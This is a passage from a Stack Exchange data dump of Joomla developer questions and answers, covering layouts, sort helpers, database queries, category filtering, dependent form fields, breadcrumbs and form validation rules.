&amp;lt;/fields&amp;gt;&#xA;&amp;lt;/metadata&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your view.html.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$JInput         = $app-&amp;gt;input;&#xA;$this-&amp;gt;layout   = $JInput-&amp;gt;get('_layout','','string');&#xA;if($this-&amp;gt;layout == ''){&#xA;    $this-&amp;gt;layout = 'default';&#xA;}&#xA;$this-&amp;gt;setLayout($this-&amp;gt;layout);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="12352" LastEditDate="2020-04-08T12:50:20.817" LastActivityDate="2020-04-08T12:50:20.817" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27903" PostTypeId="1" CreationDate="2020-04-07T03:30:59.373" Score="2" ViewCount="30" Body="&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_contact&amp;amp;view=categories&amp;amp;lang=en&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Perhaps you have never used this contact component and there is no menu item created for it, yet for most Joomla websites you can go to this link and open a page. This feels uncomfortable to me, 'cause it means after I install more and more components, there are going to be more and more pages of my website that I am unaware of; this could be a weak point for hackers and it sometimes distracts crawlers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to disable these links?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2020-04-07T08:14:45.310" Title="Is there a way to disable &quot;silent&quot; Joomla pages?" Tags="|joomla-3.x|security|seo|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27904" PostTypeId="2" ParentId="27903" CreationDate="2020-04-07T07:54:44.507" Score="0" Body="&lt;p&gt;You can disable some unused components in Extension Manager.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-04-07T07:54:44.507" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27905" PostTypeId="2" ParentId="27903" CreationDate="2020-04-07T08:14:45.310" Score="2" Body="&lt;p&gt;Yes, &lt;strong&gt;disable&lt;/strong&gt; all &lt;strong&gt;unused components&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Joomla back-end via Extensions &gt; Manage &gt; Manage&#xA;click [Search Tools] button and select: &#xA;Unprotected + Administrator + Component&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all unused components (probably banners, contacts, newsfeeds) and click &quot;disable&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do not uninstall, just disable them.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2020-04-07T08:14:45.310" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27906" PostTypeId="1" AcceptedAnswerId="27907" CreationDate="2020-04-07T08:18:31.283" Score="1" ViewCount="34" Body="&lt;p&gt;I'm facing an issue with Joomla 3.9.16.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have created many categories, with sub-categories ; here is my organisation :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/N9wf5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/N9wf5.png&quot; alt=&quot;Categories&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I created corresponding menus and sub-menus to be able to put some modules when displaying the page :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gJibV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gJibV.png&quot; alt=&quot;Menus&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The menus have &lt;strong&gt;exactly&lt;/strong&gt; the same organization than the categories. Since some categories only have one article, some menu (&quot;Que décrire ?&quot;, &quot;Que prélever ?&quot;,...) are &quot;&lt;strong&gt;single article&lt;/strong&gt;&quot; menu.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have one module named &quot;&lt;strong&gt;Autres étapes&lt;/strong&gt;&quot; only displayed on Larynx submenus:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IhI08.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IhI08.png&quot; alt=&quot;Module&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;On frontend :&lt;/em&gt;&lt;/strong&gt;&#xA;You can go on &quot;Larynx&quot; category there : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you select &quot;&lt;strong&gt;Larynx&lt;/strong&gt;&quot;, then &quot;&lt;strong&gt;Anatomie - orientation&lt;/strong&gt;&quot; : then you can see the module &quot;Autres étapes&quot; on the right. It's OK. The URL is : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But : if you go to &quot;&lt;strong&gt;Que décrire ?&lt;/strong&gt;&quot; or &quot;&lt;strong&gt;Que prélever ?&lt;/strong&gt;&quot;, it &lt;strong&gt;&lt;em&gt;does not&lt;/em&gt;&lt;/strong&gt; show the module. The URL is now : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that Anatomie-Orientation is going to a &lt;strong&gt;link menu&lt;/strong&gt; (URL does not show any ID) whereas &quot;que décrire ?&quot; is going to the &lt;strong&gt;category&lt;/strong&gt; (URL showing &lt;em&gt;17-que-decrire&lt;/em&gt;, 17 is the ID of the category &quot;que décrire ?&quot;). I'm misleading something about the organization of Joomla I think... But what ?&lt;/p&gt;&#xA;" OwnerUserId="14198" LastEditorUserId="14198" LastEditDate="2020-05-04T16:28:37.190" LastActivityDate="2020-05-04T16:28:37.190" Title="Confusion between links menu types and categories" Tags="|joomla-3.x|menu|module-display|category|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27907" PostTypeId="2" ParentId="27906" CreationDate="2020-04-07T08:58:18.647" Score="1" Body="&lt;p&gt;It's because of this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Since some categories only have one article, some menu (&quot;Que décrire ?&quot;, &quot;Que prélever ?&quot;,...) are &quot;single article&quot; menu.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You don't have a menu item created for these categories.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-04-07T08:58:18.647" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27908" PostTypeId="1" CreationDate="2020-04-07T09:09:50.133" Score="1" ViewCount="416" Body="&lt;p&gt;I have been looking at why column sort orders wouldn't change in the front list view of my component and found by changing &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php echo HtmlHelper::_('searchtools.sort',  'JGRID_HEADING_ID', 'invlines.id', $listDirn, $listOrder); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php echo HtmlHelper::_('grid.sort',  'JGRID_HEADING_ID', 'invlines.id', $listDirn, $listOrder); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that it all started working and that has set me off trying to understanding what i should be using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not that I can find any documentation to support this but it seems to me looking at Joomla document and examples that &lt;code&gt;/libraries/cms/html/grid.php&lt;/code&gt; is mostly used in the front end examples while libraries&lt;code&gt;/cms/html/searchtools.php&lt;/code&gt; is used in the back end in the examples and tutorials I have found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;seachtools.sort&lt;/code&gt; also seems to be more modern using layouts to render the html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone able to confirm this is the case or provide some explanation of when to use one over the other?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking closer at the code behind the two options I can see that &lt;code&gt;grid.sort&lt;/code&gt; will produce this html&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#&quot; onclick=&quot;Joomla.tableOrdering('orders.creditor_id','asc','');return false;&quot; class=&quot;hasPopover&quot; title=&quot;&quot; data-content=&quot;Select to sort by this column&quot; data-placement=&quot;top&quot; data-original-title=&quot;Supplier Id&quot;&amp;gt;Supplier Id&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;code&gt;grid.sort&lt;/code&gt; uses this pieces of JS to update the two hidden fields in the form, &lt;code&gt;filter_order&lt;/code&gt; and &lt;code&gt;filter_order_dir&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla.tableOrdering = function( order, dir, task, form ) {&#xA;    if ( typeof form  === 'undefined' ) {&#xA;        form = document.getElementById( 'adminForm' );&#xA;    }&#xA;&#xA;    form.filter_order.value = order;&#xA;    form.filter_order_Dir.value = dir;&#xA;    Joomla.submitform( task, form );&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While &lt;code&gt;searchtools.grid&lt;/code&gt; creates the following html&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#&quot; onclick=&quot;return false;&quot; class=&quot;js-stools-column-order hasPopover&quot; data-order=&quot;invlines.invoice_num&quot; data-direction=&quot;ASC&quot; data-name=&quot;Purchase Invoice #&quot; title=&quot;&quot; data-content=&quot;Select to sort by this column&quot; data-placement=&quot;top&quot; data-original-title=&quot;Purchase Invoice #&quot;&amp;gt;&#xA;Purchase Invoice #&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and from there it uses the &lt;code&gt;/media/jui/js/jquery.searchtools.js&lt;/code&gt; to pick up when the column heading has been clicked and which way it should be sorted.&#xA;From there I am not exactly sure how or where that info is stored when the form is submitted.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2020-04-08T01:27:11.307" LastActivityDate="2022-08-26T06:02:15.177" Title="Which one to use? grid.sort vs searchtools.sort" Tags="|joomla-3.x|best-practices|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27909" PostTypeId="2" ParentId="27899" CreationDate="2020-04-07T10:58:15.437" Score="2" Body="&lt;p&gt;I see that Sharky has presented the best/correct solution, but I'd like to take a moment to build a bit of understanding around this occurrence.&lt;/p&gt;&#xA;&lt;p&gt;For the record, &lt;code&gt;date&lt;/code&gt; is a MYSQL Keyword, but not a Reserved Keyword, so no &lt;code&gt;quoteName()&lt;/code&gt; calls are necessary.&lt;/p&gt;&#xA;&lt;p&gt;First, &lt;strong&gt;what is the query that your script is generating&lt;/strong&gt;...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT date&#xA;FROM lmnop_db_reports&#xA;WHERE 'date &amp;lt; NOW() - INTERVAL 30 DAY'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Because you are calling &lt;code&gt;quote()&lt;/code&gt; on the entire WHERE clause expression, it is being converted into a single literal string.  In other words, &lt;strong&gt;there is no comparison logic taking place&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This is very easy to overlook.  To help you with troublesome MySQL issues in the future, I recommend employing a couple of simple diagnostic techniques to help you identify potential problems.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;try {&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select('date')    &#xA;        -&amp;gt;from('#__db_reports')&#xA;        -&amp;gt;where($db-&amp;gt;quote('date &amp;lt; NOW() - INTERVAL 30 DAY'));&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage($query-&amp;gt;dump(), 'notice');  // never show this to the public&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $result = $db-&amp;gt;loadAssocList();&#xA;} catch (Exception $e) { // catch any syntax failures&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&amp;quot;Query Syntax Error: &amp;quot; , $e-&amp;gt;getMessage());  // never show getMessage() to public&#xA;}&#xA;// do something with $result&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;enqueueMessage()&lt;/code&gt; call is very handy because it displays its content very clearly near the top of your page.  Good on ya, Joomla!&lt;/p&gt;&#xA;&lt;p&gt;Of course, you've already told us that there were no generated errors, so the &lt;code&gt;catch{}&lt;/code&gt; branch will not be executed in your case.&lt;/p&gt;&#xA;&lt;p&gt;The query dump may have proven helpful to you or maybe you wouldn't have spotted the two characters (single quotes) fouling up the query logic.&lt;/p&gt;&#xA;&lt;p&gt;So, &lt;strong&gt;why does your query produce an empty result set without failure?&lt;/strong&gt;  While this topic is a bit lengthy to explain, fortunately it is well covered here:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/30885669/2943403&quot;&gt;Where clause without operator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And one final piece of advice... Because you are only generating a result set with a single column of data as a multidimensional array, your data structure can be simplified to a &amp;quot;flattened&amp;quot; indexed array by calling &lt;code&gt;$db-&amp;gt;loadColumn()&lt;/code&gt;.  My recommendation is to declare your result set like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$dates = $db-&amp;gt;loadColumn();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then you can loop through &lt;code&gt;$dates&lt;/code&gt; or use the full suite of array functions that php has to offer.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2023-04-15T06:45:27.543" LastActivityDate="2023-04-15T06:45:27.543" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27910" PostTypeId="2" ParentId="27908" CreationDate="2020-04-07T11:46:08.527" Score="2" Body="&lt;p&gt;The difference is that with &lt;code&gt;grid.sort&lt;/code&gt; you have basic ordering and &lt;code&gt;searchtools.sort&lt;/code&gt; you have more options such as search field, search by published items, unpublished items, trashed items and more. Both can be used in the backend but &lt;code&gt;searchtools.sort&lt;/code&gt; is more recommended since you have more options.&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-04-07T12:08:40.830" LastActivityDate="2020-04-07T12:08:40.830" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="27911" PostTypeId="1" CreationDate="2020-04-07T13:32:02.273" Score="0" ViewCount="97" Body="&lt;p&gt;I am trying to make a &lt;strong&gt;Registration form&lt;/strong&gt; for my department. We have &lt;strong&gt;Divisions&lt;/strong&gt; and under each divisions we have several &lt;strong&gt;Sections&lt;/strong&gt;. My purpose was during registration if an employee selects Division only Sections related to that Division alone should show; not all the sections. Like we select country only that country states get displayed. Similarly is it possible to autopopulate feild using &lt;strong&gt;Joomla User Fields.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="8486" LastActivityDate="2020-04-08T19:50:59.350" Title="Joomla Field autopopulate on select of another field" Tags="|registration|fields|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="27912" PostTypeId="1" CreationDate="2020-04-07T16:44:50.307" Score="0" ViewCount="66" Body="&lt;p&gt;I am looking for a solution for the following requirements:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Display only the category of first level when creating new category.&lt;/li&gt;&#xA;&lt;li&gt;Display only the category of second level when creating article in Joomla.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HvSNT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HvSNT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14201" LastEditorUserId="12352" LastEditDate="2020-04-07T21:14:12.260" LastActivityDate="2023-12-19T08:04:50.553" Title="How to conditionally filter the presentation of category when creating a new category/article?" Tags="|joomla-3.x|category|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27913" PostTypeId="2" ParentId="27901" CreationDate="2020-04-07T16:49:32.900" Score="0" Body="&lt;p&gt;You could try creating a module instead because it offers more possibilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Developing_a_Basic_Module&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_simple_module/Developing_a_Basic_Module&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the script that shows messages:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_simple_module/Adding_an_install-uninstall-update_script_file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-04-08T11:06:05.293" LastActivityDate="2020-04-08T11:06:05.293" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27914" PostTypeId="2" ParentId="27912" CreationDate="2020-04-07T20:23:00.297" Score="0" Body="&lt;p&gt;What you could do is create a couple of &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;custom form fields&lt;/a&gt; which restrict the categories in the way you want. Then write a plugin which will trigger on &lt;code&gt;onContentPrepareForm&lt;/code&gt; and change the relevant form fields to the custom ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with the existing category form field code in administrator/components/com_categories/models/fields/categoryedit.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to change 3 things -&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change the class name - eg use &lt;code&gt;JFormFieldCategoryEdit1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Change the field type - eg &lt;code&gt;public $type = 'CategoryEdit1';&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add an extra where clause to the query in &lt;code&gt;getOptions()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$query-&amp;gt;where('a.level = 1');&lt;/code&gt;   and level = 2 for the other custom field&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then save the file somewhere - eg in a &lt;code&gt;customisations&lt;/code&gt; directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then create a content plugin which will change the type of the category field to the one you want, eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; public function onContentPrepareForm(JForm $form, $data)&#xA; {&#xA;    if ($form-&amp;gt;getName() == &quot;com_content.article&quot; &amp;amp;&amp;amp; isset($data-&amp;gt;id)) &#xA;    {&#xA;        $form-&amp;gt;setFieldAttribute(&quot;catid&quot;, &quot;type&quot;, &quot;categoryedit2&quot;);&#xA;        JForm::addFieldPath(JPATH_ROOT . '/customisations');&#xA;    }&#xA;    if ($form-&amp;gt;getName() == &quot;com_categories.categorycom_content&quot; &amp;amp;&amp;amp; !isset($data-&amp;gt;id)) &#xA;    {&#xA;        $form-&amp;gt;setFieldAttribute(&quot;parent_id&quot;, &quot;type&quot;, &quot;categoryedit1&quot;);&#xA;        JForm::addFieldPath(JPATH_ROOT . '/customisations');&#xA;    }&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tested the code a bit, but not thoroughly, so you may need to change some things. But the general idea works ok. &lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-04-07T20:23:00.297" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27916" PostTypeId="1" AcceptedAnswerId="27920" CreationDate="2020-04-08T13:22:19.693" Score="1" ViewCount="462" Body="&lt;p&gt;I need to display links of a custom component on breadcrumbs. How can i get it done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example my component (site part) has the following url:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;site.com/gallery/animals/&lt;/code&gt; where &lt;code&gt;animals&lt;/code&gt; is the URL of the component and &lt;code&gt;gallery&lt;/code&gt; is the menu item alias&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My breadcrumb shows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;home/gallery&lt;/code&gt; instead of &lt;code&gt;home/gallery/animals&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;problem&quot; lies in &lt;code&gt;modules/mod_breadcrumbs/helper&lt;/code&gt; specifically in the &lt;code&gt;getPathWay()&lt;/code&gt; method; It returns the path but not including the url of the component. The &lt;code&gt;print_r&lt;/code&gt; function gave me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Joomla\CMS\Pathway\SitePathway Object ( [_pathway:protected] =&amp;gt; Array ( [0] =&amp;gt; stdClass Object ( [name] =&amp;gt; Gallery [link] =&amp;gt; index.php?option=com_galley&amp;amp;view=gallery&amp;amp;Itemid=361 ) ) [_count:protected] =&amp;gt; 1 )&lt;/code&gt; where &lt;code&gt;index.php?option=com_galley&amp;amp;view=gallery&amp;amp;Itemid=361&lt;/code&gt; is the url of the menu item; it should have given me (i expected it at least) something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Joomla\CMS\Pathway\SitePathway Object ( [_pathway:protected] =&amp;gt; Array ( [0] =&amp;gt; stdClass Object ( [name] =&amp;gt; Gallery [link] =&amp;gt; index.php?option=com_galley&amp;amp;view=galler&amp;amp;Itemid=361 ) [link] =&amp;gt; &amp;amp;view=gallery&amp;amp;Itemid=91 ) ) [_count:protected] =&amp;gt; 1 )&lt;/code&gt; where &lt;code&gt;&amp;amp;view=gallery&amp;amp;Itemid=91&lt;/code&gt; would be my component url. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to add the url of custom component to the &lt;code&gt;getPathWay()&lt;/code&gt; method?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a method to add an item to the pathway; the method is &lt;code&gt;addItem(string $name, string $link)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app= JFactory::()-&amp;gt;getApplication();&#xA;$pathway=$app-&amp;gt;getPathWay();&#xA;$pathway-&amp;gt;addItem('Animals' , 'animals');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it works but now i need a way to automatically get it from the URL and add it to the method &lt;code&gt;addItem()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-04-09T16:37:53.170" LastActivityDate="2020-04-10T16:01:43.517" Title="How to display urls of a custom component on breadcrumbs?" Tags="|joomla-3.x|custom-component|breadcrumbs|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27919" PostTypeId="2" ParentId="27911" CreationDate="2020-04-08T19:50:59.350" Score="2" Body="&lt;p&gt;You can use the &quot;showon&quot; field attribute to hide/show a field depending upon the value of another field. So you could have lots of Sections fields - one for each Division - and show only the appropriate Section field based on the value of the Division field. As all this is going to be fairly dynamic you'd want to build up your form dynamically from Division/Section data in a database table - see eg &lt;a href=&quot;https://docs.joomla.org/Advanced_form_guide#Dynamically_Changing_Forms&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Advanced_form_guide#Dynamically_Changing_Forms&lt;/a&gt; - rather than defining it in an XML file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could write some javascript which is triggered on the user setting the Division field, and which would perform an Ajax query to get the associated Sections for that Division, and inject these into the options for the Section field. That way, you'd only need 1 Section field and set the options dynamically using js. This is what I'd do personally. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or as Jonboy suggests, find an appropriate 3rd party extension; I can't help there, I'm afraid. &lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-04-08T19:50:59.350" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27920" PostTypeId="2" ParentId="27916" CreationDate="2020-04-09T14:26:03.960" Score="0" Body="&lt;p&gt;The solution is to add a function to your &lt;code&gt;view.html.php&lt;/code&gt; file of your component&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function will:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Get url parameters&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Retrieve the name/title of the current page from the database and add a new item to the path with the &lt;code&gt;addItem()&lt;/code&gt; method.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        /* &#xA;        Function to add a new item to the breadcrumbs.&#xA;        The function name can be whatever you want&#xA;        */&#xA;        function addNewItemBreadcrumb(){&#xA;&#xA;           //it will initialize the variable input in order to get the url parameters&#xA;           $input= JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;           /* get the id parameter from the url, even if your url is a friendly url. Example: &#xA;           site.com/index.php?com_yourcomponent?&amp;amp;view=article&amp;amp;id=37&amp;amp;Itemid=103 or site.com/article the below code will get the id&#xA;           parameter which is 37 */ &#xA;&#xA;          //get the id of the page. We will use this to retrieve the name of the article from the database&#xA;&#xA;           $id=$input-&amp;gt;get('id');&#xA;&#xA;           //here we will retrieve the name of the article from the database&#xA;&#xA;           $db=JFactory::getDbo();&#xA;           $q=$db-&amp;gt;getQuery(true);&#xA;           $q-&amp;gt;select('name_of_the_column_you_want_to_display');&#xA;           $q-&amp;gt;from('#__yourcomponent_yourtable')&#xA;           $q-&amp;gt;where('id='.$db-&amp;gt;quote($id));&#xA;           $name=$db-&amp;gt;setQuery(true);&#xA;           $name=$db-&amp;gt;loadResult();&#xA;&#xA;&#xA;          //add a new item to the breadcrumbs&#xA;&#xA;          $app=JFactory::getApplication();&#xA;          $pathway=$app-&amp;gt;getPathWay();&#xA;&#xA;          //this will add a new breadcrumb item with the name of the article we got from the database&#xA;&#xA;          return $pathway-&amp;gt;addItem($name);  &#xA;&#xA;         /* if you also want to add a link you can do the following:&#xA;         return $pathway-&amp;gt;addItem($name, JRoute::_('index.php?option=your_component&amp;amp;view=your_view&amp;amp;id='.$id));  &#xA;          */&#xA;&#xA;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now just call the function in your &lt;code&gt;view.html.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;addNewItemBreadcrumb();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-04-10T16:01:43.517" LastActivityDate="2020-04-10T16:01:43.517" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="27921" PostTypeId="1" AcceptedAnswerId="27922" CreationDate="2020-04-09T15:44:02.703" Score="0" ViewCount="169" Body="&lt;p&gt;I'm following along with this tutorial &lt;a href=&quot;https://docs.joomla.org/J3.x:Server-side_form_validation&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Server-side_form_validation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My form &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fieldset name=&quot;form_name&quot; addrulepath=&quot;components/com_mycomponent/models/rules/myrule.php&quot;&amp;gt;&#xA;       &amp;lt;field&#xA;         name=&quot;number&quot; &#xA;         type=&quot;text&quot;&#xA;         validate=&quot;myrule&quot; &#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;myrule.php&lt;/code&gt; file in &lt;code&gt;components/com_mycomponent/models/rules/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class JFormRuleMyRule extends JFormRule&#xA;{&#xA;    protected $regex = '[0-9]';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything is set accordingly and yet it won't work. I may be doing something wrong. Could you please tell me what it 